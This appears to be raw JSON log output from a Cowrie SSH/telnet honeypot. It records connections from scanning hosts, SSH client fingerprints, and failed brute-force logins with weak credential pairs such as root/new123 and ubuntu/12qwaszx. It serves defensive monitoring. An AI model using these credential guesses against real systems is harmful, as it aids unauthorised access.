{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:44.428516Z","src_ip":"61.72.55.130","session":"6f922b3b5e94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:44.630054Z","src_ip":"61.72.55.130","session":"6f922b3b5e94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:45.469008Z","src_ip":"61.72.55.130","session":"6f922b3b5e94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:46.674493Z","src_ip":"61.72.55.130","session":"6f922b3b5e94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44548,"dst_ip":"10.17.0.5","dst_port":23,"session":"da6faabb896d","protocol":"telnet","message":"New connection: 38.54.119.93:44548 (10.17.0.5:23) [session: da6faabb896d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:51.077912Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49816,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0a353282886","protocol":"telnet","message":"New connection: 65.60.27.33:49816 (10.17.0.5:23) [session: a0a353282886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:55.098311Z"}
{"eventid":"cowrie.session.closed","duration":7.429796457290649,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:45:58.507575Z","src_ip":"38.54.119.93","session":"da6faabb896d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54794,"dst_ip":"10.17.0.5","dst_port":23,"session":"974e2aedbfbd","protocol":"telnet","message":"New connection: 38.54.119.93:54794 (10.17.0.5:23) [session: 974e2aedbfbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:08.050514Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58314,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce97ef3f0b58","protocol":"telnet","message":"New connection: 165.232.131.181:58314 (10.17.0.5:23) [session: ce97ef3f0b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:08.439712Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":60246,"dst_ip":"159.203.135.109","dst_port":22,"session":"aebfcb838c8b","protocol":"ssh","message":"New connection: 20.203.42.204:60246 (159.203.135.109:22) [session: aebfcb838c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:11.476102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:11.481349Z","src_ip":"20.203.42.204","session":"aebfcb838c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:11.649142Z","src_ip":"20.203.42.204","session":"aebfcb838c8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12qwaszx","message":"login attempt [ubuntu/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:12.348413Z","src_ip":"20.203.42.204","session":"aebfcb838c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:13.517477Z","src_ip":"20.203.42.204","session":"aebfcb838c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59554,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57aeda3c810","protocol":"telnet","message":"New connection: 165.232.131.181:59554 (10.17.0.5:23) [session: b57aeda3c810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:17.890481Z"}
{"eventid":"cowrie.session.closed","duration":34.50852823257446,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:18.633485Z","src_ip":"62.210.97.77","session":"9bcd6527b924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":48482,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6160cfc4b8c","protocol":"ssh","message":"New connection: 103.176.20.115:48482 (10.17.0.5:22) [session: e6160cfc4b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:20.681098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:20.686070Z","src_ip":"103.176.20.115","session":"e6160cfc4b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:20.939681Z","src_ip":"103.176.20.115","session":"e6160cfc4b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"new123","message":"login attempt [root/new123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:21.980848Z","src_ip":"103.176.20.115","session":"e6160cfc4b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:23.236763Z","src_ip":"103.176.20.115","session":"e6160cfc4b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45384,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac8b617687ed","protocol":"telnet","message":"New connection: 62.210.97.77:45384 (10.17.0.5:23) [session: ac8b617687ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:28.747173Z"}
{"eventid":"cowrie.session.closed","duration":40.295345306396484,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:35.393765Z","src_ip":"65.60.27.33","session":"a0a353282886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":45532,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc739e4c3cdc","protocol":"ssh","message":"New connection: 61.72.55.130:45532 (159.203.135.109:22) [session: bc739e4c3cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:41.962492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:41.967960Z","src_ip":"61.72.55.130","session":"bc739e4c3cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:42.174409Z","src_ip":"61.72.55.130","session":"bc739e4c3cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456789","message":"login attempt [frappe/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:43.022249Z","src_ip":"61.72.55.130","session":"bc739e4c3cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:44.226716Z","src_ip":"61.72.55.130","session":"bc739e4c3cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46552,"dst_ip":"10.17.0.5","dst_port":23,"session":"60423a1995d3","protocol":"telnet","message":"New connection: 65.60.27.33:46552 (10.17.0.5:23) [session: 60423a1995d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:45.893854Z"}
{"eventid":"cowrie.session.closed","duration":39.388296365737915,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:47.827870Z","src_ip":"165.232.131.181","session":"ce97ef3f0b58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44874,"dst_ip":"10.17.0.5","dst_port":23,"session":"38bfbd4671f4","protocol":"telnet","message":"New connection: 45.81.23.16:44874 (10.17.0.5:23) [session: 38bfbd4671f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:50.735238Z"}
{"eventid":"cowrie.session.closed","duration":46.06216096878052,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:46:54.112560Z","src_ip":"38.54.119.93","session":"974e2aedbfbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58270,"dst_ip":"10.17.0.5","dst_port":23,"session":"f477fd38c5f2","protocol":"telnet","message":"New connection: 38.54.119.93:58270 (10.17.0.5:23) [session: f477fd38c5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:00.735479Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35004,"dst_ip":"10.17.0.5","dst_port":23,"session":"af0f4adaed55","protocol":"telnet","message":"New connection: 65.60.27.33:35004 (10.17.0.5:23) [session: af0f4adaed55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:01.465972Z"}
{"eventid":"cowrie.session.closed","duration":33.718214988708496,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:02.465243Z","src_ip":"62.210.97.77","session":"ac8b617687ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.952324628829956,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:07.687672Z","src_ip":"38.54.119.93","session":"f477fd38c5f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.13.56.15","src_port":15584,"dst_ip":"159.203.135.109","dst_port":23,"session":"42ac66dc0938","protocol":"telnet","message":"New connection: 119.13.56.15:15584 (159.203.135.109:23) [session: 42ac66dc0938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:09.015681Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40888,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d74cfef2756","protocol":"telnet","message":"New connection: 38.54.119.93:40888 (10.17.0.5:23) [session: 1d74cfef2756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:17.658495Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":37116,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb62fe0328ff","protocol":"ssh","message":"New connection: 103.176.20.115:37116 (10.17.0.5:22) [session: fb62fe0328ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:18.006783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:18.012230Z","src_ip":"103.176.20.115","session":"fb62fe0328ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:18.266879Z","src_ip":"103.176.20.115","session":"fb62fe0328ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123123","message":"login attempt [root/asd123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:19.312421Z","src_ip":"103.176.20.115","session":"fb62fe0328ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:20.571721Z","src_ip":"103.176.20.115","session":"fb62fe0328ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.62112808227539,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:21.636689Z","src_ip":"119.13.56.15","session":"42ac66dc0938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.445242404937744,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:31.338718Z","src_ip":"65.60.27.33","session":"60423a1995d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":35946,"dst_ip":"159.203.135.109","dst_port":22,"session":"a875a671c05c","protocol":"ssh","message":"New connection: 61.72.55.130:35946 (159.203.135.109:22) [session: a875a671c05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:41.075665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:41.079635Z","src_ip":"61.72.55.130","session":"a875a671c05c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:41.278678Z","src_ip":"61.72.55.130","session":"a875a671c05c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"passw0rd","message":"login attempt [test1/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:42.104602Z","src_ip":"61.72.55.130","session":"a875a671c05c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:43.306733Z","src_ip":"61.72.55.130","session":"a875a671c05c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.67944121360779,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:46.145291Z","src_ip":"65.60.27.33","session":"af0f4adaed55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.09017539024353,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:49.825204Z","src_ip":"45.81.23.16","session":"38bfbd4671f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38878,"dst_ip":"10.17.0.5","dst_port":23,"session":"17323331883f","protocol":"telnet","message":"New connection: 165.232.131.181:38878 (10.17.0.5:23) [session: 17323331883f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:54.588048Z"}
